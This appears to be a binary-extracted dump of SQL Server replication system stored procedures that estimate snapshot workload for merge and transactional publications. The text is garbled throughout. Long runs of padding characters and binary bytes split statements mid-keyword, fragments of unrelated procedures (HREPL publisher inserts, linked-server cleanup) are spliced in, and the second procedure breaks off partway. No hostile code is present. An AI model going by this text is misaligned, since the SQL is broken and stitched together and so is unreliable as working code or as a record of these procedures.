!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!;	`<(avjcreate procedure sys.sp_MSestimatemergesnapshotworkload (
    @publication sysname
    )
as
begin
    set nocount on

    declare @taskload                       int
    declare @bigtaskload                    bigint
    declare @table_created                  bit
    declare @retcode                        int

    -- constant
    declare @zerouuid                       uniqueidentifier
    select @zerouuid = convert(uniqueidentifier, N'{00000000-0000-0000-0000-000000000000}')
    -- Publication info
    declare @pubid                          uniqueidentifier
    declare @compress_snapshot              bit
    declare @snapshot_in_defaultfolder      bit
    declare @alt_snapshot_folder            nvarchar(255)
    declare @enabled_for_internet           bit
    declare @ftp_password                   nvarchar(524) 
    declare @ftp_subdirectory               nvarchar(255)
    declare @pre_snapshot_script            nvarchar(255)
    declare @post_snapshot_script           nvarchar(255)    
    declare @dynamic_filters                bit
    declare @allow_subscriber_initiated_snapshot bit

    -- Per publication summary stats
    declare @numarticles                    int
    declare @totalrowcount                  int   
    declare @needsysprescript               bit
    declare @copysnapshot                   bit
    declare @deletefiles                    bit
    declare @scriptproccost                 int
    declare @addcommandstotal               int
    declare @numscripts                     int
    declare @totalbcpcostper100             int
    declare @numprescriptcommands           int 
    declare @numunsyncedarticles            int
    declare @numtablearticles               int
    declare @systablesrowcount              int
    declare @maxint                         int

    select @numarticles = 0
    select @totalrowcount = 0
    select @needsysprescript = 0
    select @copysnapshot = 0
    select @deletefiles = 0
    select @scriptproccost = 0
    select @deletefiles = 0
    select @addcommandstotal = 0
    select @numscripts = 0
    select @totalbcpcostper100 = 0
    select @numprescriptcommands = 0
    select @numunsyncedarticles = 0
    select @numtablearticles = 0
    select @systablesrowcount = 0
    select @maxint = 2147483647

    -- Per article variables
    declare @artid                          uniqueidentifier
    declare @schema_option                  int
    declare @creation_script                nvarchar(255)
    declare @type                           tinyint
    declare @objid                          int
    declare @rowcount                       int
    declare @name                           sysname
    declare @status                         int


    -- Security check
    select @table_created = 0

    select @pubid = null
    select @compress_snapshot = 0
    select @snapshot_in_defaultfolder = 0
    select @alt_snapshot_folder = null
    select @enabled_for_internet = 0
    select @ftp_password = null
    select @ftp_subdirectory = null
    select @pre_snapshot_script = null
    select @post_snapshot_script = null
    -- Validate publication and retrieve publication information 
    select @pubid = pubid, 
           @compress_snapshot = compress_snapshot,
           @snapshot_in_defaultfolder = snapshot_in_defaultfolder,
           @alt_snapshot_folder = alt_snapshot_folder,
           @enabled_for_internet = enabled_for_internet,
           @ftp_password = ftp_password,
           @ftp_subdirectory = ftp_subdirectory,
           @pre_snapshot_script = pre_snapshot_script,
           @post_snapshot_script = post_snapshot_script,
           @dynamic_filters = dynamic_filters,
           @allow_subscriber_initiated_snapshot = allow_subscriber_initiated_snapshot
           from dbo.sysmergepublications
     where name = @publication
       and upper(publishingservername()) = upper(publisher)
       and publisher_db = db_name()
    if @pubid = null
    begin   
        raiserror(21423, 11, -1, @publication)
        return (1)
    end

   -- security check. Enforce replcheck publish incase this
   -- is not a dynamically filtered publication
   if @dynamic_filters = 0 or @allow_subscriber_initiated_snapshot = 0
   begin
        if (is_member('db_owner') <> 1)
        begin
            RAISERROR (21423, 11, -1, @publication)
            return (1)
        end
   end
   else
   begin
        if ({ fn ISPALUSER(@pubid) } <> 1)
        begin    
            RAISERROR (21423, 11, -1, @publication)
            return (1)
        end
   end

    -- An artid of -1 means the task is a per publication
    -- task

    -- Task id mapping - This is the list of task whose completion can be 
    -- reported by the snapshot agent
    -- 0 - Total workload (not really a task)
    -- 1 - Schema script generation
    -- 2 - Trigger script generation 
    -- 3 - XProp script generation
    -- 4 - Bcp file generation
    -- 5 - Activating subscription (estimate number of subscriptions?)
    -- 6 - Adding snapshot commands
    -- 7 - System pre-script generation
    -- 8 - Flushing folder for scripts
    -- 9 - Constraint script generation
    -- 10 - Copying pre-script
    -- 11 - Copying post-script
    -- 12 - Copying custom schema creation script
    -- 13 - Index script generation
    -- 14 - Flushing the cabinet
    -- 15 - Adding rowguid column
    -- 16 - Setting article procs
    -- 17 - Adding merge triggers
    -- 18 - Generating system table scripts
    -- 19 - Generating system table bcp files
    -- 20 - Making publication generation
    -- 21 - Generating and setting conflict script
    -- 22 - Generating publication views
    
    -- Weights and overheads
    -- DMO Script generation - 7/script
    -- BCP 5 overhead + 5/100 rows
    -- Flush folder for bcp 2/100 rows
    -- Delete file 2
    -- System pre-snapshot script 1 overhead + 0.5/pre-creation command
    -- Copying user file 2
    -- Adding file to cabinet 1 for scripts and 1/100 rows in bcp file
    -- Loading article info 3
    -- Delete bcp file 2/100rows 
    -- Copy bcp file  2/100rows  
    -- Flush scripts folder 1/2 scripts
    -- Flushing cabinet per 5 scripts 1
    -- Flushing cabinet per 500 rows 1
    -- Script execution 3
    -- Adding rowguid columns 20/100 rows
    -- Adding merge triggers 7
    -- Setting article procs 5

    -- Here is the list of cost factors 
    declare @addcommandcost     int
    declare @dmoscriptcost      int
    declare @bcpoverhead        int
    declare @bcpcostper100      int
    declare @flushper100        int
    declare @flushperscript     int
    declare @delfilecost        int
    declare @syspreoverhead     int
    declare @syspreper2commands int
    declare @addbcptocabper100  int
    declare @addscripttocab     int
    declare @copyfilecost       int
    declare @loadartinfo        int    
    declare @deletebcpper100    int
    declare @copybcpper100      int
    declare @flushper2scripts   int
    declare @flushcabper5scripts int
    declare @flushcabper500bcprows int
    declare @scriptexeccost int
    declare @rowguidper100 int
    declare @addmergetriggers int
    declare @setartprocs int
    declare @pubviewperarticle int
    declare @genperarticle int

    select @addcommandcost = 2
    select @dmoscriptcost = 7
    select @bcpcostper100 = 20
    select @bcpoverhead = 2
    select @flushper100 = 2
    select @flushperscript = 3
    select @delfilecost = 2
    select @syspreoverhead = 1
    select @syspreper2commands = 1
    select @addbcptocabper100 = 1
    select @addscripttocab = 1
    select @copyfilecost = 2
    select @loadartinfo = 3    
    select @deletebcpper100 = 1
    select @copybcpper100 = 2
    select @flushper2scripts = 1
    select @flushcabper5scripts = 1
    select @flushcabper500bcprows = 1
    selec!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(n˲vjt @scriptexeccost = 3
    select @rowguidper100 = 20
    select @addmergetriggers = 3
    select @pubviewperarticle = 2
    select @genperarticle = 2
    select @setartprocs = 5

    create table #workload_breakdown
    (
        name        sysname collate database_default,
        artid       uniqueidentifier,
        taskid      int,
        taskload    int
    )
    if @@error <> 0
        goto Failure

    select @table_created = 1

    -- Per publication work load estimate that can be done using publication
    -- properties alone
    
    -- Adding snapshot header commands
    
    -- Snapshot header begins + Snapshot header ends +
    -- directory command + Snapshot trailer command = 3 * @addcommandcost
    select @addcommandstotal = 4
    
    -- Alternate snapshot folder = 1 * @addcommandcost
    if @alt_snapshot_folder is not null and
       @alt_snapshot_folder <> N'' and
       @snapshot_in_defaultfolder = 1
    begin
        select @addcommandstotal = @addcommandstotal + @addcommandcost
    end

    -- Ftp commands
    if @enabled_for_internet = 1
    begin
        -- ftp_address and ftp_port must be there +=2 * @addcommandcost
        select @addcommandstotal = @addcommandstotal + 2 * @addcommandcost

        -- ftp_password += 1 * @addcommandcost
        if @ftp_password is not null and
           @ftp_password <> N''
        begin
            select @addcommandstotal = @addcommandstotal + @addcommandcost
        end
        
        -- ftp_subdirectory += 1 * @addcommandcost
        if @ftp_subdirectory is not null and
           @ftp_subdirectory <> N''
        begin
            select @addcommandstotal = @addcommandstotal + 1 * @addcommandcost
        end
    end

    -- Compressed archive path
    if @compress_snapshot = 1
    begin
        select @addcommandstotal = @addcommandstotal + 1 * @addcommandcost
    end    

    -- Snapshot trailer command
    select @addcommandstotal = @addcommandstotal +  @addcommandcost

    -- Need to copy files?
    if @alt_snapshot_folder is not null and @alt_snapshot_folder <> N''
       and @snapshot_in_defaultfolder = 1 and @compress_snapshot = 0
    begin
        select @copysnapshot = 1
    end

    -- Compute per-script file post processing cost and bcp cost per 100 rows
    -- Need to delete files?
    if (@alt_snapshot_folder is null or @alt_snapshot_folder <> N''
       or @snapshot_in_defaultfolder = 0) and @compress_snapshot = 1
    begin
        select @deletefiles = 1
    end

    select @totalbcpcostper100 = @bcpcostper100
    -- Copy file?
    if @copysnapshot = 1
    begin
        select @scriptproccost = @scriptproccost + @copyfilecost
        select @totalbcpcostper100 = @totalbcpcostper100 + @copybcpper100
    end

    -- Add file to cabinet?
    if @compress_snapshot = 1
    begin
        select @scriptproccost = @scriptproccost + @addscripttocab 
        select @totalbcpcostper100 = @totalbcpcostper100 + @addbcptocabper100
    end

    -- Delete file?
    if @deletefiles = 1
    begin 
        select @scriptproccost = @scriptproccost + @delfilecost
        select @totalbcpcostper100 = @totalbcpcostper100 + @deletebcpper100
    end

    -- Pre/Post-snapshot scripts, has to be computed after the 
    -- the per-script post-processing cost is calculated 
    if @pre_snapshot_script is not null and
       @pre_snapshot_script <> N''
    begin
        -- Cost of copying the script file
        select @taskload = @copyfilecost + @scriptproccost
        insert #workload_breakdown values (N'', @zerouuid, 10, @taskload)
        -- Cost of adding the pre-snapshot command
        select @addcommandstotal = @addcommandstotal + @addcommandcost
        -- Increment scripts counter
        select @numscripts = @numscripts + 1
    end

    if @post_snapshot_script is not null and
       @post_snapshot_script <> N''
    begin
        -- Cost of copying the script file
        select @taskload = @copyfilecost + @scriptproccost
        insert #workload_breakdown values (N'', @zerouuid, 11, @taskload)
        -- Cost of adding the post-snapshot command
        select @addcommandstotal = @addcommandstotal + @addcommandcost
        -- Increment scripts counter
        select @numscripts = @numscripts + 1
    end
           
    -- Estimate the break down of per article tasks 
    declare hCarticles cursor local fast_forward
    for select artid, creation_script, objid, convert(int, schema_option), type, name,
               status  
          from dbo.sysmergeextendedarticlesview where pubid = @pubid 

    open hCarticles
   
    fetch hCarticles into @artid, @creation_script, @objid, @schema_option, @type, @name,
        @status
    while (@@fetch_status <> -1)
    begin
        if @type = 0x40 -- Schema view articles, may require index scripting
        begin
            select @taskload = 0
            -- See if a custom creation script will be used 
            if @schema_option = 0 and @creation_script is not null and
               @creation_script <> N''
            begin
                -- Script generation
                select @taskload = @copyfilecost + @scriptproccost
                insert #workload_breakdown values (@name, @artid, 12, @taskload)
                -- Cost of adding commands for the custom script
                select @addcommandstotal = @addcommandstotal + @addcommandcost
                -- Increment scripts counter
                select @numscripts = @numscripts + 1
                -- No need to worry about index script
            end
            else
            begin
                -- Script generation 
                select @taskload = @dmoscriptcost + @scriptproccost
                -- Must script out schema script
                insert #workload_breakdown values (@name, @artid, 1, @taskload)
                -- Cost of adding the command
                select @addcommandstotal = @addcommandstotal + @addcommandcost
                -- Increment scripts counter
                select @numscripts = @numscripts + 1

                -- DRI script containing the view's indexes?
                if (@schema_option & 0x50) <> 0x0
                begin
                    -- Cost of script generation
                    select @taskload = @dmoscriptcost + @scriptproccost
                    insert #workload_breakdown values (@name, @artid, 9, @taskload)
                    -- Cost of adding command for the script
                    select @addcommandstotal = @addcommandstotal + @addcommandcost
                    -- Increment scripts counter
                    select @numscripts = @numscripts + 1
                end

                -- Trigger script?
                if (@schema_option & 0x100) <> 0x0
                begin
                    -- Cost of script generation
                    select @taskload = @dmoscriptcost + @scriptproccost
                    insert #workload_breakdown values (@name, @artid, 2, @taskload)
                    -- Cost of adding command for the script
                    select @addcommandstotal = @addcommandstotal + @addcommandcost
                    -- Increment scripts counter
                    select @numscripts = @numscripts + 1
                end 

                -- XProp script?
                if (@schema_option & 0x2000) <> 0x0
                begin
                    -- Cost of script generation 
                    select @taskload = @dmoscriptcost + @scriptproccost
                    insert #workload_breakdown values (@name, @artid, 3, @taskload)
                    -- Cost of adding command
                    select @addcommandstotal = @addcommandstotal + @addcommandcost
                    -- Increment scripts counter
                    select @numscripts = @numscripts + 1
                end
            end        
        end
        else if @typ!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<()Cvje in (0x08, 0x18, 0x20, 0x80, 0xA0) -- Regular schema articles 
        begin
            select @taskload = 0
            -- See if a custom creation script will be used 
            if @schema_option = 0 and @creation_script is not null and
               @creation_script <> N''
            begin
                -- Script generation
                select @taskload = @copyfilecost + @scriptproccost
                insert #workload_breakdown values (@name, @artid, 12, @taskload)
                -- Cost of adding commands for the custom script
                select @addcommandstotal = @addcommandstotal + @addcommandcost
                -- Increment scripts counter
                select @numscripts = @numscripts + 1
            end
            else 
            begin
                -- Script generation 
                select @taskload = @dmoscriptcost + @scriptproccost
                -- Must script out schema script
                insert #workload_breakdown values (@name, @artid, 1, @taskload)
                -- Cost of adding the command
                select @addcommandstotal = @addcommandstotal + @addcommandcost
                -- Increment scripts counter
                select @numscripts = @numscripts + 1

                -- XProp script?
                if (@schema_option & 0x2000) <> 0x0
                begin
                    -- Cost of script generation 
                    select @taskload = @dmoscriptcost + @scriptproccost
                    insert #workload_breakdown values (@name, @artid, 3, @taskload)
                    -- Cost of adding command
                    select @addcommandstotal = @addcommandstotal + @addcommandcost
                -- Increment scripts counter
                select @numscripts = @numscripts + 1
                end
            end
        end
        else -- Merge table articles, requires bcp
        begin
           select @taskload = 0
           -- See if a custom creation script will be used 
            if @schema_option = 0 and @creation_script is not null and
               @creation_script <> N''
            begin
                -- Script generation
                select @taskload = @copyfilecost + @scriptproccost
                insert #workload_breakdown values (@name, @artid, 12, @taskload)
                -- Cost of adding commands for the custom script
                select @addcommandstotal = @addcommandstotal + @addcommandcost
                -- Increment scripts counter
                select @numscripts = @numscripts + 1
                -- No need to worry about index script
            end
            else
            begin
                -- Script generation 
                select @taskload = @dmoscriptcost + @scriptproccost
                -- Must script out schema script
                insert #workload_breakdown values (@name, @artid, 1, @taskload)
                -- Cost of adding the command
                select @addcommandstotal = @addcommandstotal + @addcommandcost
                -- Increment scripts counter
                select @numscripts = @numscripts + 1

                -- Constraint script is not optional for merge table article
                -- Cost of script generation
                select @taskload = @dmoscriptcost + @scriptproccost
                insert #workload_breakdown values (@name, @artid, 9, @taskload)
                -- Cost of adding command for the script
                select @addcommandstotal = @addcommandstotal + @addcommandcost
                -- Increment scripts counter
                select @numscripts = @numscripts + 1
    
                -- Trigger script?
                if (@schema_option & 0x100) <> 0x0
                begin
                    -- Cost of script generation
                    select @taskload = @dmoscriptcost + @scriptproccost
                    insert #workload_breakdown values (@name, @artid, 2, @taskload)
                    -- Cost of adding command for the script
                    select @addcommandstotal = @addcommandstotal + @addcommandcost
                    -- Increment scripts counter
                    select @numscripts = @numscripts + 1
                end 
        
                -- XProp script?
                if (@schema_option & 0x2000) <> 0x0
                begin
                    -- Cost of script generation 
                    select @taskload = @dmoscriptcost + @scriptproccost
                    insert #workload_breakdown values (@name, @artid, 3, @taskload)
                    -- Cost of adding command
                    select @addcommandstotal = @addcommandstotal + @addcommandcost
                    -- Increment scripts counter
                    select @numscripts = @numscripts + 1
                end
            end        

            -- Conflict script generation and setting
            -- Cost of script generation and execution 
            select @taskload = @dmoscriptcost + @scriptexeccost + @scriptproccost
            insert #workload_breakdown values (@name, @artid, 21, @taskload)

            -- Get fast row count from sysindexes for bcp op estimation
            select @rowcount = 
                    case when isnull(rowcnt,0) > @maxint then @maxint / 10000
                         when isnull(rowcnt,0) > @maxint / 10000 then rowcnt / 10000
                         else isnull(rowcnt,0)
                    end
              from sysindexes 
             where id = @objid and indid in (0,1)

            -- For unsynced articles, we need to 
            -- 1) Add rowguid column 
            -- 2) Set article procs
            -- 3) Add merge triggers
            if @status = 1
            begin
                -- Add rowguid column - use article row count to estimate the cost
                select @taskload = (@rowcount * @rowguidper100) / 100
                insert #workload_breakdown values (@name, @artid, 15, @taskload) 
      
                -- Set article procs
                select @taskload = @setartprocs
                insert #workload_breakdown values (@name, @artid, 16, @taskload)

                -- Add merge triggers    
                select @taskload = @addmergetriggers 
                insert #workload_breakdown values (@name, @artid, 17, @taskload)

                -- Increment the number of unsynced articles
                select @numunsyncedarticles = @numunsyncedarticles + 1
            end

            -- Increment the total row count
            select @totalrowcount = @totalrowcount + @rowcount        

            -- BCP computation            
            -- Bcp file generation
            select @taskload = @bcpoverhead + (@rowcount * @totalbcpcostper100) / 100 
            insert #workload_breakdown values (@name, @artid, 4, @taskload)

            -- Increment the table articles counter
            select @numtablearticles = @numtablearticles + 1

        end    

        -- System pre-snapshot script required?
        if @type in (0x40, 0x80)
        begin
            select @needsysprescript = 1
            -- Incrememt the number of pre-script command counter
            select @numprescriptcommands = @numprescriptcommands + 1
        end

        -- Increment the article count
        select @numarticles = @numarticles + 1

        fetch hCarticles into @artid, @creation_script, @objid, @schema_option, @type, @name,
            @status
    end
        
    -- The cost of making publication views depends upon the 
    -- number of unsynced articles
    if @numunsyncedarticles <> 0
    begin
        select @taskload = @numunsyncedarticles * @pubviewperarticle 
        insert #workload_breakdown values (N'', @zerouuid, 22, @taskload) 
    end

    -- Make publication generation - roughly proportional to the number of table
    -- articles we have
    select @taskload = @numtablearticles * @g!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<A7/_jenperarticle
    insert #workload_breakdown values (N'', @zerouuid, 20, @taskload)

    -- Merge system tables processing 
    -- Script files
    select @taskload = 4 * (@dmoscriptcost + @scriptproccost)
    insert #workload_breakdown values (N'', @zerouuid, 18, @taskload)

    -- Cost of adding the commands
    select @addcommandcost = @addcommandcost + 4

    -- Bcp files - Generated only when the publication is not enabled for
    -- dynamic filters
    if @dynamic_filters = 0
    begin
        if object_id(N'MSmerge_contents') is not NULL
        begin
            select @rowcount =
                    case when isnull(rowcnt,0) > @maxint then @maxint / 10000
                         when isnull(rowcnt,0) > @maxint / 10000 then rowcnt / 10000
                         else isnull(rowcnt,0)
                    end
              from sysindexes where id = object_id('MSmerge_contents') 
               and indid in (0,1)
            select @systablesrowcount = @systablesrowcount + @rowcount
        end
        if exists (select * from sys.objects where name = N'MSmerge_tombstones')
        begin
            select @rowcount =
                    case when isnull(rowcnt,0) > @maxint then @maxint / 10000
                         when isnull(rowcnt,0) > @maxint / 10000 then rowcnt / 10000
                         else isnull(rowcnt,0)
                    end
              from sysindexes 
             where id = object_id('MSmerge_tombstones') 
               and indid in (0,1)
            select @systablesrowcount = @systablesrowcount + @rowcount
        end
        if object_id(N'MSmerge_genhistory') is not NULL
        begin
            select @rowcount = 
                    case when isnull(rowcnt,0) > @maxint then @maxint / 10000
                         when isnull(rowcnt,0) > @maxint / 10000 then rowcnt / 10000
                         else isnull(rowcnt,0)
                    end
              from sysindexes 
             where id = object_id('MSmerge_genhistory') 
               and indid in (0,1)
            select @systablesrowcount = @systablesrowcount + @rowcount
        end
    end
    if object_id(N'sysmergesubsetfilters') is not NULL
    begin
        select @rowcount = count(*) from dbo.sysmergesubsetfilters
        select @systablesrowcount = @systablesrowcount + @rowcount 
    end

    select @taskload = (4 * @bcpoverhead) + (@systablesrowcount * @totalbcpcostper100) / 100 
    insert #workload_breakdown values (N'', @zerouuid, 19, @taskload)
    select @totalrowcount = @totalrowcount + @systablesrowcount

    -- System pre-snapshot script processing cost 
    if @needsysprescript = 1
    begin
        select @taskload = @syspreoverhead + 
                (@numprescriptcommands * @syspreper2commands) / 2 +
               @scriptproccost
        insert #workload_breakdown values (N'', @zerouuid, 7, @taskload)         
        select @numscripts = @numscripts + 1
    end

    -- Cost of flushing folder for the scripts 
    if @compress_snapshot = 1
    begin
        select @taskload = (@numscripts * @flushper2scripts) / 2
        insert #workload_breakdown values (N'', @zerouuid, 8, @taskload) 
    end

    -- Cost for flushing the cabinet
    if @compress_snapshot = 1
    begin
        select @taskload = (@numscripts * @flushcabper5scripts / 5) +
                           (@totalrowcount * @flushcabper500bcprows / 500)
        insert #workload_breakdown values (N'', @zerouuid, 14, @taskload)
    end

    -- Add the total add commands cost
    insert #workload_breakdown values (N'', @zerouuid, 6, @addcommandstotal)

    -- Compute the total workload and put that in the 
    -- workload break down
    select @bigtaskload = sum(convert(bigint,taskload)) from #workload_breakdown
    select @taskload =
            case when @bigtaskload > @maxint then @maxint
            else @bigtaskload
            end
    insert #workload_breakdown values (N'', @zerouuid, 0, @taskload) 

    select name, taskid, taskload from #workload_breakdown order by artid, taskid asc
    drop table #workload_breakdown
    return 0

Failure:
    if @table_created = 1
       drop table #workload_breakdown
    return 1
end
AEA between hdm.source_scale_min and hdm.source_scale_max
    				)
    			)
          AND
                (
                    hdm.source_nullable = 1 OR
                    hdm.source_nullable = hdm.destination_nullable
                )
	  OPTION (LOOP JOIN, FORCE ORDER)
    END

    RETURN 
END
xx0 OR @retcode <> 0)
	BEGIN
		RAISERROR (21621, 16, -1, 'MSSQLSERVERSETSQLORIGINATOR')
       	RETURN (1)
	END

	--  Update the entry in HREPL_Distributor, marking publisher ready.
	TRUNCATE TABLE #hquery
	INSERT INTO #hquery (cmd) VALUES (N'INSERT INTO MSSQLSERVERDISTRIBUTOR VALUES(')
	INSERT INTO #hquery (cmd) VALUES (QUOTENAME(@publisher, '''') + N',')
	INSERT INTO #hquery (cmd) VALUES (QUOTENAME(@distributor, '''') + N',')
	INSERT INTO #hquery (cmd) VALUES (QUOTENAME(@dist_db, '''') + N', NULL, 1)')
	
	EXEC @retcode = sys.sp_IHquery @publisher
	IF  (@@error <> 0 OR @retcode <> 0 )
	BEGIN
		RAISERROR (21623, 16, -1, @publisher)
		RETURN (1)
	END

	--  Create publisher entry in HREPL_Publisher
	TRUNCATE TABLE #hquery
	INSERT INTO #hquery (cmd) VALUES (N'INSERT INTO HREPL_PUBLISHER VALUES(')
	INSERT INTO #hquery (cmd) VALUES (QUOTENAME(@publisherGUID, '''') + N',')
	INSERT INTO #hquery (cmd) VALUES (QUOTENAME(@publisher, '''') + N',')
	INSERT INTO #hquery (cmd) VALUES (CONVERT(NVARCHAR(255),@srvid) + N', 0, 0, ''00000000000000000000'', 0, 0, 0, 0, 0, 0, 0, 1, NULL, 0,')
	INSERT INTO #hquery (cmd) VALUES (QUOTENAME(CONVERT(NVARCHAR(255), @distributortimestamp, 121), '''') + N')')
	
	EXEC @retcode = sys.sp_IHquery @publisher
	IF  (@@error <> 0 OR @retcode <> 0 )
	BEGIN
		RAISERROR (21625, 16, -1, @publisher)
		RETURN (1)
	END

	RETURN(0)
END	
S?S  RAISERROR (21801, 16, -1) 
    return 1
end
`` begin
            exec sp_dropserver @server = @linkname, @droplogins = 'droplogins'
        end
    end  -- if (@islocalpub = 0)
    --
    -- return error
    --
    return 1
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!t'@`<(JFv~jcreate procedure sys.sp_MSestimatesnapshotworkload (
    @publication sysname
    )
as
begin
    set nocount on
    set DEADLOCK_PRIORITY LOW

    declare @taskload                       int
    declare @bigtaskload                    bigint
    declare @table_created                  bit
    declare @retcode                        int

    -- Publication info
    declare @pubid                          int
    declare @compress_snapshot              bit
    declare @snapshot_in_defaultfolder      bit
    declare @alt_snapshot_folder            nvarchar(255)
    declare @enabled_for_internet           bit
    declare @ftp_password                   nvarchar(524) 
    declare @ftp_subdirectory               nvarchar(255)
    declare @pre_snapshot_script            nvarchar(255)
    declare @post_snapshot_script           nvarchar(255)    
    
    -- Per publication summary stats
    declare @numarticles                    int
    declare @totalrowcount                  int   
    declare @needsysprescript               bit
    declare @copysnapshot                   bit
    declare @deletefiles                    bit
    declare @scriptproccost                 int
    declare @addcommandstotal               int
    declare @numscripts                     int
    declare @totalbcpcostper100             int
    declare @numprescriptcommands           int 

    select @numarticles = 0
    select @totalrowcount = 0
    select @needsysprescript = 0
    select @copysnapshot = 0
    select @deletefiles = 0
    select @scriptproccost = 0
    select @deletefiles = 0
    select @addcommandstotal = 0
    select @numscripts = 0
    select @totalbcpcostper100 = 0
    select @numprescriptcommands = 0

    -- Per article variables
    declare @artid                          int
    declare @schema_option                  int
    declare @creation_script                nvarchar(255)
    declare @type                           tinyint
    declare @objid                          int
    declare @rowcount                       int
    declare @name                           sysname
    declare @pre_creation_command           int
    				,@result int


    select @table_created = 0

    -- Security check
    select @retcode = 0
    EXEC @retcode = sys.sp_MSreplcheck_publish
    IF @@ERROR <> 0 or @retcode <> 0
        return (1)

    select @pubid = null
    select @compress_snapshot = 0
    select @snapshot_in_defaultfolder = 0
    select @alt_snapshot_folder = null
    select @enabled_for_internet = 0
    select @ftp_password = null
    select @ftp_subdirectory = null
    select @pre_snapshot_script = null
    select @post_snapshot_script = null
    -- Validate publication and retrieve publication information 
    select @pubid = pubid, 
           @compress_snapshot = compress_snapshot,
           @snapshot_in_defaultfolder = snapshot_in_defaultfolder,
           @alt_snapshot_folder = alt_snapshot_folder,
           @enabled_for_internet = enabled_for_internet,
           @ftp_password = ftp_password,
           @ftp_subdirectory = ftp_subdirectory,
           @pre_snapshot_script = pre_snapshot_script,
           @post_snapshot_script = post_snapshot_script
           from syspublications
     where name = @publication
    if @pubid = null
    begin   
        raiserror(20026, 11, -1, @publication)
        return (1)
    end

    -- Only attempt to get an application lock if the caller is 
    -- db_owner as the intention of the lock is for coordinating between
    -- the snapshot agent (db_owner) and ddl replication (requires db_owner
    -- via sp_MSprep_exclusive)
    IF is_member(N'db_owner') = 1
    BEGIN
    EXEC @result = sys.sp_getapplock @Resource = @publication, 
                @LockMode = N'Shared', 
                @LockOwner = N'Session', 
                @LockTimeout = 0,
                @DbPrincipal = N'db_owner' -- Note that we already require db_owner because of security check performed at the beginning of the procedure
	    IF @result < 0
	    BEGIN
	        RAISERROR(21385, 16, -1, @publication)
	        RETURN (1)
	    END
    END

    -- An artid of -1 means the task is a per publication
    -- task

    -- Task id mapping - This is the list of task whose completion can be 
    -- reported by the snapshot agent
    -- 0 - Total workload (not really a task)
    -- 1 - Schema script generation
    -- 2 - Trigger script generation 
    -- 3 - XProp script generation
    -- 4 - Bcp file generation
    -- 5 - Activating subscription (estimate number of subscriptions?)
    -- 6 - Adding snapshot commands
    -- 7 - System pre-script generation
    -- 8 - Flushing folder for scripts
    -- 9 - Constraint script generation
    -- 10 - Copying pre-script
    -- 11 - Copying post-script
    -- 12 - Copying custom schema creation script
    -- 13 - Index script generation
    -- 14 - Flushing the cabinet
    -- 15 - Adding rowguid column
    -- 16 - Setting article procs
    -- 17 - Adding merge triggers
    -- 18 - Generating system table scripts
    -- 19 - Generating system table bcp files
    -- 20 - Making publication generation
    -- 21 - Generating and setting conflict script
    -- 22 - Generating publication views

    -- Weights and overheads
    -- DMO Script generation - 7/script
    -- BCP 5 overhead + 5/100 rows
    -- Flush folder for bcp 2/100 rows
    -- Delete file 2
    -- System pre-snapshot script 1 overhead + 0.5/pre-creation command
    -- Copying user file 2
    -- Adding file to cabinet 1 for scripts and 1/100 rows in bcp file
    -- Loading article info 3
    -- Delete bcp file 2/100rows 
    -- Copy bcp file  2/100rows  
    -- Flush scripts folder 1/2 scripts
    -- Flushing cabinet per 5 scripts 1
    -- Flushing cabinet per 500 rows 1

    -- Here is the list of cost factors 
    declare @addcommandcost     int
    declare @dmoscriptcost      int
    declare @bcpoverhead        int
    declare @bcpcostper100      int
